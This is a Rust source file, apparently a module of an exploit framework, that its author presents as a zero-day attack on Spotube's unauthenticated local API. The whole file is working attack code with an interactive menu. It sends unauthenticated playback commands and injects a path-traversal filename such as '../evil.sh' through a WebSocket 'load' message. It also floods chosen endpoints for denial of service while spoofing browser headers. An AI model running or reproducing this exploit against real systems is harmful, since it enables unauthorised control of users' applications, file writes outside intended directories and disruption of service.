//// src/modules/exploits/spotube/spotube_remote.rs
//// src/modules/exploits/spotube/spotube.rs
//// made by me suicidal teddy my first ever zero day exploit
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use std::io::{self, Write};
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;

// //// // Custom headers to emulate BurpSuite-style browser requests
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
    let mut headers = HashMap::new();
    headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
    headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
    headers.insert(
        "User-Agent".into(),
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
         (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
            .into(),
    );
    headers.insert(
        "Accept".into(),
        "text/html,application/xhtml+xml,application/xml;q=0.9,\
        image/avif,image/webp,image/apng,*/*;q=0.8,\
        application/signed-exchange;v=b3;q=0.7"
            .into(),
    );
    headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
    headers.insert("Connection".into(), "keep-alive".into());
    headers.insert("Host".into(), format!("{}:{}", host, port));
    headers
}

// //// // Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .timeout(std::time::Duration::from_secs(5))
        .build()
        .context("Failed to build HTTP client")?;

    let url = format!("http://{}:{}{}", host, port, path);
    let headers = browser_headers(host, port);

    let mut request = client.get(&url);
    for (key, value) in headers {
        request = request.header(&key, &value);
    }

    let response = request.send().await.context("Request failed")?;
    let status = response.status();
    let body = response.text().await.unwrap_or_default();

    println!(
        "{} → {} {}",
        path,
        status.as_u16(),
        status.canonical_reason().unwrap_or("Unknown")
    );
    println!("{}", body.trim());

    Ok(())
}

// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
    // prompt for malicious filename
    print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
    io::stdout().flush()?;
    let mut name = String::new();
    io::stdin().read_line(&mut name)?;
    let malicious_name = {
        let t = name.trim();
        if t.is_empty() { "../evil.sh" } else { t }
    };

    // prompt for fake track ID
    print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
    io::stdout().flush()?;
    let mut tid = String::new();
    io::stdin().read_line(&mut tid)?;
    let track_id = {
        let t = tid.trim();
        if t.is_empty() { "INJECT1" } else { t }
    };

    // prompt for codec extension
    print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
    io::stdout().flush()?;
    let mut cd = String::new();
    io::stdin().read_line(&mut cd)?;
    let codec = {
        let t = cd.trim();
        if t.is_empty() { "mp3" } else { t }
    };

    let payload = json!({
        "type": "load",
        "data": {
            "tracks": [
                {
                    "name": malicious_name,
                    "artists": { "asString": "" },
                    "sourceInfo": { "id": track_id },
                    "codec": { "name": codec }
                }
            ]
        }
    });

    let ws_url = format!("ws://{}:{}/ws", host, port);
    println!("Connecting to {} …", ws_url);

    let (ws_stream, _) = connect_async(&ws_url)
        .await
        .context("WebSocket connection failed")?;
    let (mut write, _) = ws_stream.split();

    let msg_text = payload.to_string();
    write
        .send(Message::Text(msg_text.clone().into()))
        .await
        .context("Failed to send WebSocket message")?;

    println!("▶️  Malicious load payload sent:");
    println!("{}", serde_json::to_string_pretty(&payload)?);

    Ok(())
}

// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
    println!("⚠️  Flooding {} {} times (delay {}s)…", path, count, delay);
    for _ in 0..count {
        let _ = execute(host, port, path).await;
        if delay > 0.0 {
            sleep(Duration::from_secs_f64(delay)).await;
        }
    }
    println!("🔥  Done flood.");
    Ok(())
}

// //// // CLI menu that mimics the original Python script, now with WS and DoS
pub async fn run(target: &str) -> Result<()> {
    println!("⚙️  Spotube Advanced Exploit CLI\n");

    let host = target.to_string(); // use target passed from set command

    // //// // port prompt (optional override)
    print!("{}", "Enter port [17086]: ".cyan().bold());
    io::stdout().flush()?;
    let mut p = String::new();
    io::stdin().read_line(&mut p)?;
    let port = {
        let t = p.trim();
        if t.is_empty() { "17086".to_string() } else { t.to_string() }
    };

    loop {
        println!("\n=== Menu ===");
        println!("1. Ping server");
        println!("2. Next track");
        println!("3. Previous track");
        println!("4. Toggle play/pause");
        println!("5. Inject path-traversal via WS");
        println!("6. Flood HTTP endpoint (DoS)");
        println!("7. Exit");

        print!("Choose an option: ");
        io::stdout().flush()?;
        let mut choice = String::new();
        io::stdin().read_line(&mut choice)?;
        match choice.trim() {
            "1" => {
                println!("\n▶️  Ping server …");
                let _ = execute(&host, &port, "/ping").await;
            }
            "2" => {
                println!("\n▶️  Next track …");
                let _ = execute(&host, &port, "/playback/next").await;
            }
            "3" => {
                println!("\n▶️  Previous track …");
                let _ = execute(&host, &port, "/playback/previous").await;
            }
            "4" => {
                println!("\n▶️  Toggle play/pause …");
                let _ = execute(&host, &port, "/playback/toggle-playback").await;
            }
            "5" => {
                ws_inject_path_traversal(&host, &port).await?;
            }
            "6" => {
                // //// // flood prompts
                print!("Endpoint to flood (e.g. /playback/next): ");
                io::stdout().flush()?;
                let mut path = String::new();
                io::stdin().read_line(&mut path)?;
                let path = path.trim();

                print!("Number of requests [100]: ");
                io::stdout().flush()?;
                let mut cnt = String::new();
                io::stdin().read_line(&mut cnt)?;
                let count = cnt.trim().parse().unwrap_or(100);

                print!("Delay between requests (s) [0]: ");
                io::stdout().flush()?;
                let mut dly = String::new();
                io::stdin().read_line(&mut dly)?;
                let delay = dly.trim().parse().unwrap_or(0.0);

                dos_flood(&host, &port, path, count, delay).await?;
            }
            "7" => {
                println!("👋  Goodbye!");
                break;
            }
            _ => println!("❌  Invalid choice, try again."),
        }
    }

    Ok(())
}
